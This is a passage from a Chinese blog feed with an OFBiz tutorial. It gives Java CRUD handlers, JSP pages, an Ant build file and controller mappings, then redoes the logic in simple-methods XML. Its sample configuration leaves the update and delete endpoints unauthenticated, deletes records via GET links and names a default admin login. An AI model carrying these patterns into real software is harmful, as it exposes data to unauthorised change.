GenericValue cust = (GenericValue)custs.next();<br />
System.out.println(cust.getString("customerId"));<br />
System.out.println(cust.getString("customerName"));<br />
System.out.println(cust.getString("customerNote"));<br />
}<br />
}</p>
<p>public static String createNewRecord(HttpServletRequest request, HttpServletResponse response)<br />
throws Exception<br />
{<br />
Map paras = UtilMisc.getParameterMap(request);</p>
<p>GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");<br />
delegator.create("StudyCustomer",paras);</p>
<p>return "success";<br />
}</p>
<p>public static String lookAllRecords(HttpServletRequest request, HttpServletResponse response)<br />
throws Exception<br />
{<br />
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");<br />
Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));</p>
<p>Collection col = new ArrayList();</p>
<p>while(custs.hasNext())<br />
{<br />
GenericValue cust = (GenericValue)custs.next();<br />
col.add(cust);</p>
<p>}</p>
<p>request.getSession().setAttribute("search_results",col);</p>
<p>return "success";<br />
}</p>
<p>public static String findRecord(HttpServletRequest request, HttpServletResponse response)<br />
throws Exception<br />
{<br />
String id = (String)request.getParameter("customerId");</p>
<p>GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");</p>
<p>try {<br />
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",id));</p>
<p>request.getSession().setAttribute("edit_cust",cust);<br />
} catch (GenericEntityException gee) {<br />
Debug.logWarning(gee);<br />
}</p>
<p>return "success";<br />
}</p>
<p>public static String updateRecord(HttpServletRequest request, HttpServletResponse response)<br />
throws Exception<br />
{<br />
Map paras = UtilMisc.getParameterMap(request);</p>
<p>GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");<br />
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",paras.get("customerId")));<br />
cust.setNonPKFields(paras);<br />
cust.store();</p>
<p>request.getSession().setAttribute("edit_cust",cust);</p>
<p>return "success";<br />
}</p>
<p>public static String removeRecord(HttpServletRequest request, HttpServletResponse response)<br />
throws Exception<br />
{<br />
String strId = request.getParameter("id");<br />
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");<br />
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",strId));<br />
cust.remove();</p>
<p>return "success";<br />
}</p>
<p>}</p>
<p><br />
&gt;=================================================================</p>
<p><br />
程序中的处理大部分可以看懂的，其中有个功能，是<br />
Map paras = UtilMisc.getParameterMap(request);<br />
这是 Ofbiz 的一个有趣但非常有用的功能，它是把 request 中各段的名字和值映射到一个 Map<br />
对象中，然后使用<br />
cust.setNonPKFields(paras);<br />
就可以赋给 Object cust 的各个段，免了我们使用 request.getParameter("name")来取各个<br />
值，在值很多的时候这个功能可以大大减少冗余代码量。</p>
<p>基本程序的逻辑是这样的，<br />
1.从 request 读取传来的值<br />
 2.使用 delegator 来处理，Add/Update/Delete/Query<br />
3.将返回结果放到 Session 中传给 JSP</p>
<p>我做了个 Ant build.xml 文件可以帮助编译，把这个文件放在:<br />
c:\ofbiz\ofbiz\testOfbiz\ 目录下，然后在命令行窗口下进入该目录，敲入 ant<br />
来编译（需要保证已经安装 Ant），编译后的 .class 会放在<br />
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 下，<br />
拷贝 c:\ofbiz\ofbiz\testofbiz\com 目录到 c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF\classes<br />
目录下。</p>
<p>build.xml<br />
&gt;=============================================================================</p>
<p>&lt;project name="TestOfbiz" default="dist" basedir="."&gt;<br />
&lt;description&gt;<br />
Test ofbiz<br />
&lt;/description&gt;</p>
<p>&lt;!--test cvs--&gt;<br />
&lt;!-- set global properties for this build --&gt;</p>
<p>&lt;property name="src" location="."/&gt;<br />
&lt;property name="build" location="."/&gt;</p>
<p>&lt;property name="lib_dir" location="c:/ofbiz/catalina/shared/lib"/&gt;<br />
&lt;property name="lib1_dir" location="c:/ofbiz/catalina/common/lib"/&gt;</p>
<p>&lt;path id="project.class.path"&gt;<br />
&lt;fileset dir="${ lib_dir }"&gt;<br />
&lt;include name="*.jar"/&gt;<br />
&lt;/fileset&gt;<br />
&lt;fileset dir="${ lib1_dir }"&gt;<br />
&lt;include name="*.jar"/&gt;<br />
&lt;/fileset&gt;<br />
&lt;/path&gt;</p>
<p>&lt;target name="init"&gt;<br />
&lt;!-- Create the time stamp --&gt;<br />
&lt;tstamp/&gt;<br />
&lt;!-- Create the build directory structure used by compile --&gt;<br />
&lt;mkdir dir="${ build }"/&gt;<br />
&lt;/target&gt;</p>
<p>&lt;target name="compile" depends="init"<br />
description="compile the source " &gt;<br />
&lt;!-- Compile the java code from ${ src } into ${ build } --&gt;<br />
&lt;javac srcdir="${ src }" destdir="${ build }"&gt;<br />
&lt;classpath refid="project.class.path"/&gt;<br />
&lt;/javac&gt;<br />
&lt;/target&gt;</p>
<p>&lt;target name="dist" depends="compile"<br />
description="generate the distribution" &gt;<br />
&lt;!-- Create the distribution directory --&gt;<br />
&lt;/target&gt;</p>
<p>&lt;target name="clean"<br />
description="clean up" &gt;<br />
&lt;!-- Delete the ${ build } and ${ dist } directory trees --&gt;<br />
&lt;/target&gt;<br />
&lt;/project&gt;</p>
<p><br />
&gt;=============================================================================</p>
<p>然后我们来创建 JSP 程序，JSP 程序全部放在<br />
c:\ofbiz\ofbiz\partymgr\webapp\party 下面</p>
<p>1.listofbiz.jsp<br />
&gt;=============================================================================</p>
<p>&lt;% at taglib uri="ofbizTags" prefix="ofbiz" %&gt;</p>
<p>&lt;%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.entity.*" %&gt;<br />
&lt;jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" /&gt;<br />
&lt;jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" /&gt;</p>
<p>&lt;script language="JavaScript"&gt;<br />
function confirmDelete()<br />
{<br />
return confirm("Are your sure to delete?");<br />
}<br />
&lt;/script&gt;</p>
<p><br />
&lt;%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %&gt;</p>
<p>&lt;table width="600" align="center"&gt;<br />
&lt;ofbiz:if name="search_results"&gt;<br />
&lt;tr&gt;&lt;th&gt;Id&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Note&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;<br />
&lt;ofbiz:iterator name="cust" property="search_results"&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;ofbiz:entityfield attribute="cust" field="customerId"/&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;ofbiz:entityfield attribute="cust" field="customerName"/&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;ofbiz:entityfield attribute="cust" field="customerNote"/&gt;&lt;/td&gt;<br />
&lt;td&gt;<br />
&lt;a href='&lt;ofbiz:url&gt;/showtest?customerId=&lt;ofbiz:entityfield attribute="cust" field="customerId"/&gt;&lt;/ofbiz:url&gt;' class="buttontext"&gt;[Edit]&lt;/a&gt;<br />
&lt;a href='&lt;ofbiz:url&gt;/removetest?customerId=&lt;ofbiz:entityfield attribute="cust" field="customerId"/&gt;&lt;/ofbiz:url&gt;' class="buttontext" onclick="return confirmDelete()"&gt;[Remove]&lt;/a&gt;<br />
&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/ofbiz:iterator&gt;<br />
&lt;/ofbiz:if&gt;<br />
&lt;/table&gt;<br />
&lt;table width="200" align="center"&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;a href='&lt;ofbiz:url&gt;/createTestForm&lt;/ofbiz:url&gt;'&gt;Create customer&lt;/a&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;</p>
<p>&lt;% }else{ %&gt;<br />
&lt;h3&gt;You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)&lt;/h3&gt;<br />
&lt;% }%&gt;</p>
<p>&gt;=============================================================================</p>
<p>上面程序中需要说明的是<br />
&lt;ofbiz:if name="search_results"&gt;<br />
和<br />
&lt;ofbiz:iterator name="cust" property="search_results"&gt;，</p>
<p>&lt;ofbiz:if name="search_results"&gt; 是用来检验在 session 或 pageContext 对象<br />
中是否包含 search_results 对象，该对象是由我们的程序放到 session 中的。<br />
&lt;ofbiz:iterator name="cust" property="search_results"&gt; 是用来循环读取对象<br />
search_results（是个 Collection 对象）中存储的各对象，并赋给cust，然后在循环体<br />
中，我们就可以用 cust 对象来读取各个段的值了。</p>
<p><br />
2.createofbiz.jsp<br />
&gt;=============================================================================</p>
<p>&lt;% at taglib uri="ofbizTags" prefix="ofbiz" %&gt;</p>
<p>&lt;%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.entity.*" %&gt;<br />
&lt;jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" /&gt;<br />
&lt;jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" /&gt;<br />
&lt;%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %&gt;</p>
<p>&lt;form method="post" action="&lt;ofbiz:url&gt;/createTest&lt;/ofbiz:url&gt;" name="createofbiz"&gt;<br />
&lt;table width="300" align="center"&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Id&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerId" size="20"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerName" size="20"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Note&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerNote" size="30"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type="submit"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/form&gt;</p>
<p>&lt;% }else{ %&gt;<br />
&lt;h3&gt;You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)&lt;/h3&gt;<br />
&lt;% }%&gt;<br />
&gt;=============================================================================</p>
<p>这个程序很容易理解，需要注意的是每个文本框的名字，要跟 Schema StudyCustomer 的各<br />
个段一致，以使程序中跟容易处理。</p>
<p>3.showofbiz.jsp<br />
&gt;=============================================================================</p>
<p>&lt;% at taglib uri="ofbizTags" prefix="ofbiz" %&gt;</p>
<p>&lt;%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.entity.*" %&gt;<br />
&lt;jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" /&gt;<br />
&lt;jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" /&gt;<br />
&lt;%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %&gt;</p>
<p>&lt;form method="post" action="&lt;ofbiz:url&gt;/updateTest&lt;/ofbiz:url&gt;" name="updateofbiz"&gt;<br />
&lt;table width="300" align="center"&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Id&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerId" size="20" value="&lt;ofbiz:entityfield attribute="edit_cust" field="customerId"/&gt;"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerName" size="20" value="&lt;ofbiz:entityfield attribute="edit_cust" field="customerName"/&gt;"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Note&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="customerNote" size="30" value="&lt;ofbiz:entityfield attribute="edit_cust" field="customerNote"/&gt;"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type="submit"&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/form&gt;</p>
<p>&lt;% }else{ %&gt;<br />
&lt;h3&gt;You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)&lt;/h3&gt;<br />
&lt;% }%&gt;</p>
<p>&gt;=============================================================================</p>
<p>这个程序中，主要是通过<br />
&lt;ofbiz:entityfield attribute="edit_cust" field="customerId"/&gt;<br />
把取到的对象的段显示出来, 对象 edit_cust 是我们在程序中取到并放到 session 中的。</p>
<p>下面我们来配置 controller.xml 和 regions.xml, 在 controller.xml 中加入:<br />
&gt;=============================================================================</p>
<p>&lt;request-map uri="createTestForm"&gt;<br />
&lt;description&gt;Show the create form&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;response name="success" type="view" value="createTestForm"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="testofbiz"&gt;<br />
&lt;description&gt;Test Ofbiz&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;response name="success" type="view" value="testofbiz"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="listtest"&gt;<br />
&lt;description&gt;List all records&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="lookAllRecords" /&gt;<br />
&lt;response name="success" type="view" value="listAllTest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="showtest"&gt;<br />
&lt;description&gt;Show records&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="findRecord" /&gt;<br />
&lt;response name="success" type="view" value="showTest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="createTest"&gt;<br />
&lt;security https="true" auth="true"/&gt;<br />
&lt;event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="createNewRecord"/&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;response name="error" type="view" value="createTestForm"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="updateTest"&gt;<br />
&lt;description&gt;update a record&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="updateRecord" /&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="removetest"&gt;<br />
&lt;description&gt;remove a record&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="removeRecord" /&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;view-map name="listAllTest" type="region"/&gt;<br />
&lt;view-map name="createTestForm" type="region"/&gt;<br />
&lt;view-map name="showTest" type="region"/&gt;<br />
&gt;=============================================================================</p>
<p>在 regions.xml 中加入：<br />
&gt;=============================================================================<br />
&lt;define id='createTestForm' region='MAIN_REGION'&gt;<br />
&lt;put section='title'&gt;Create Ofbiz&lt;/put&gt;<br />
&lt;put section='content' content='/party/createofbiz.jsp'/&gt;<br />
&lt;/define&gt;</p>
<p>&lt;define id='listAllTest' region='MAIN_REGION'&gt;<br />
&lt;put section='title'&gt;List Ofbiz&lt;/put&gt;<br />
&lt;put section='content' content='/party/listofbiz.jsp'/&gt;<br />
&lt;/define&gt;</p>
<p>&lt;define id='showTest' region='MAIN_REGION'&gt;<br />
&lt;put section='title'&gt;Show Ofbiz&lt;/put&gt;<br />
&lt;put section='content' content='/party/showofbiz.jsp'/&gt;<br />
&lt;/define&gt;</p>
<p>&gt;=============================================================================</p>
<p>现在就完成了，我们重新启动 Ofbiz，然后用 IE 访问：<br />
http://localhost:8080/par......l/listtest，用admin/ofbiz 登录后就可以<br />
看到我们刚才的工作成果了，你现在可以增加/删除/修改记录。</p>
<p><br />
6.Ofbiz 通过 XML 来完成数据库操作（非常强大的功能）</p>
<p>这是 Ofbiz 的一个非常强大的功能，可能通过简单的 XML 文件来完成数据增/删/改的处理，<br />
这些处理在数据库应用中是非常多的，因为很多需要维护的数据，所以写程序也是最花时间的，<br />
Ofbiz 把这些操作通过 XML 来完成，不能不说是一大革命---使我们不用写程序就可以完成大<br />
部分处理，这是每个程序员都向往的终极目标。</p>
<p>我们下面举例来讲述一下，处理的数据还是利用我们前面创建的 StudyCustomer，使用 XML<br />
配置文件来完成前面程序 TestOfbiz.java 的大部分操作。</p>
<p>在 c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录下创建文件 TestOfbizServices.xml，<br />
该文件的内容如下：</p>
<p>&gt;=================================================================</p>
<p>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;<br />
&lt;!DOCTYPE simple-methods PUBLIC "-//OFBiz//DTD Simple Methods//EN" "" target="_blank"&gt;http://www.ofbiz.org/dtds/simple-methods.dtd"&gt;</p>
<p>&lt;simple-methods&gt;</p>
<p>&lt;!-- TestOfbiz methods --&gt;<br />
&lt;simple-method method-name="createNewRecord" short-description="Create a new record"&gt;<br />
&lt;check-permission permission="STUDYCUSTOMER" action="_CREATE"&gt;&lt;fail-message message="Security Error: to run createRecord you must have the STUDYCUSTOMER_CREATE permission"/&gt;&lt;/check-permission&gt; &lt;check-errors/&gt;</p>
<p>&lt;make-value entity-name="StudyCustomer" value-name="newEntity"/&gt;<br />
&lt;set-pk-fields map-name="parameters" value-name="newEntity"/&gt;<br />
&lt;set-nonpk-fields map-name="parameters" value-name="newEntity"/&gt;</p>
<p>&lt;create-value value-name="newEntity"/&gt;<br />
&lt;/simple-method&gt;<br />
&lt;simple-method method-name="updateRecord" short-description="Update a record"&gt;<br />
&lt;check-permission permission="STUDYCUSTOMER" action="_UPDATE"&gt;&lt;fail-message message="Security Error: to run updateRecord you must have the STUDYCUSTOMER_UPDATE permission"/&gt;&lt;/check-permission&gt;</p>
<p>&lt;check-errors/&gt;</p>
<p>&lt;make-value entity-name="StudyCustomer" value-name="lookupPKMap"/&gt;<br />
&lt;set-pk-fields map-name="parameters" value-name="lookupPKMap"/&gt;<br />
&lt;find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/&gt;<br />
&lt;set-nonpk-fields map-name="parameters" value-name="lookedUpValue"/&gt;</p>
<p>&lt;store-value value-name="lookedUpValue"/&gt;<br />
&lt;/simple-method&gt;</p>
<p>&lt;simple-method method-name="findRecord" short-description="lookup a record"&gt;<br />
&lt;check-errors/&gt;</p>
<p>&lt;make-value entity-name="StudyCustomer" value-name="lookupPKMap"/&gt;<br />
&lt;set-pk-fields map-name="parameters" value-name="lookupPKMap"/&gt;<br />
&lt;find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="edit_cust"/&gt;<br />
&lt;field-to-session field-name="edit_cust"/&gt;<br />
&lt;/simple-method&gt;</p>
<p>&lt;simple-method method-name="removeRecord" short-description="Delete a record"&gt;<br />
&lt;check-permission permission="STUDYCUSTOMER" action="_DELETE"&gt;&lt;fail-message message="Security Error: to run deleteRecord you must have the STUDYCUSTOMER_DELETE permission"/&gt;&lt;/check-permission&gt;<br />
&lt;check-errors/&gt;</p>
<p>&lt;make-value entity-name="StudyCustomer" value-name="lookupPKMap"/&gt;<br />
&lt;set-pk-fields map-name="parameters" value-name="lookupPKMap"/&gt;<br />
&lt;find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/&gt;<br />
&lt;remove-value value-name="lookedUpValue"/&gt;<br />
&lt;/simple-method&gt;</p>
<p>&lt;simple-method method-name="lookAllRecords" short-description="lookup suitable records"&gt;<br />
&lt;check-errors/&gt;<br />
&lt;find-by-and entity-name="StudyCustomer" list-name="search_results"/&gt;<br />
&lt;field-to-session field-name="search_results"/&gt;<br />
&lt;/simple-method&gt;</p>
<p>&lt;/simple-methods&gt;</p>
<p><br />
&gt;=================================================================</p>
<p>上面的 XML 基本是不用解释的，定义了</p>
<p>createNewRecord<br />
updateRecord<br />
lookAllRecords<br />
removeRecord<br />
findRecord</p>
<p>这几个方法，而且都有对用户权限的检查，这几个方法对应于前面 TestOfbiz.java 中的几个方法，<br />
这样来做数据库操作显然比用 Java 程序写要简单得多，</p>
<p>下面还需要在 controller.xml（具体文件得位置请参照前面的教程）更改一下 mapping 的设置，<br />
更改如下，以前使用 TestOfbiz.java 时的配置我以注释的方式保留着以做参照：</p>
<p>&gt;=================================================================</p>
<p>&lt;request-map uri="createTestForm"&gt;<br />
&lt;description&gt;Show the create form&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;response name="success" type="view" value="createTestForm"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="listtest"&gt;<br />
&lt;description&gt;List all records&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="lookAllRecords" /&gt;<br />
&lt;response name="success" type="view" value="listAllTest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="showtest"&gt;<br />
&lt;description&gt;Show records&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="findRecord" /&gt;<br />
&lt;response name="success" type="view" value="showTest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="createTest"&gt;<br />
&lt;security https="true" auth="true"/&gt;<br />
&lt;event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="createNewRecord"/&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;response name="error" type="view" value="createTestForm"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="updateTest"&gt;<br />
&lt;description&gt;update a record&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="updateRecord" /&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;request-map uri="removetest"&gt;<br />
&lt;description&gt;remove a record&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="removeRecord" /&gt;<br />
&lt;response name="success" type="request" value="listtest"/&gt;<br />
&lt;/request-map&gt;</p>
<p>&lt;view-map name="listAllTest" type="region"/&gt;<br />
&lt;view-map name="createTestForm" type="region"/&gt;<br />
&lt;view-map name="testofbiz" type="region"/&gt;<br />
&lt;view-map name="showTest" type="region"/&gt;</p>
<p>&gt;=================================================================</p>
<p>配置该文件的方法请参照前面的教程，regions.xml 不需改动。</p>
<p>配置完后请用前面讲过的方法访问 URL: http://localhost:8080/partymgr/control/listtest</p>
<p>现在我们可以看到，Ofbiz 在 MVC 方面做得非常好，我们可以把后端的处理程序从 java 改<br />
成用 XMl 控制，而其他部分（像 JSP）不需任何改动，这可以保证我们系统各部分的独立性。</p>
<p><br />
http://www.cnpoint.com/mv......nforum/viewthread?thread=65<br />
</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/181976.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-02-25 13:57 <a href="http://www.blogjava.net/hijackwust/archive/2008/02/25/181976.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>分析PowerStone引擎</title><link>http://www.blogjava.net/hijackwust/archive/2007/12/30/171677.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Sun, 30 Dec 2007 03:25:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2007/12/30/171677.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/171677.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2007/12/30/171677.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/171677.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/171677.html</trackback:ping><description><![CDATA[<img alt="" src="http://www.blogjava.net/images/blogjava_net/hijackwust/workflowEngine.JPG" border="0" />
<img src ="http://www.blogjava.net/hijackwust/aggbug/171677.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2007-12-30 11:25 <a href="http://www.blogjava.net/hijackwust/archive/2007/12/30/171677.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>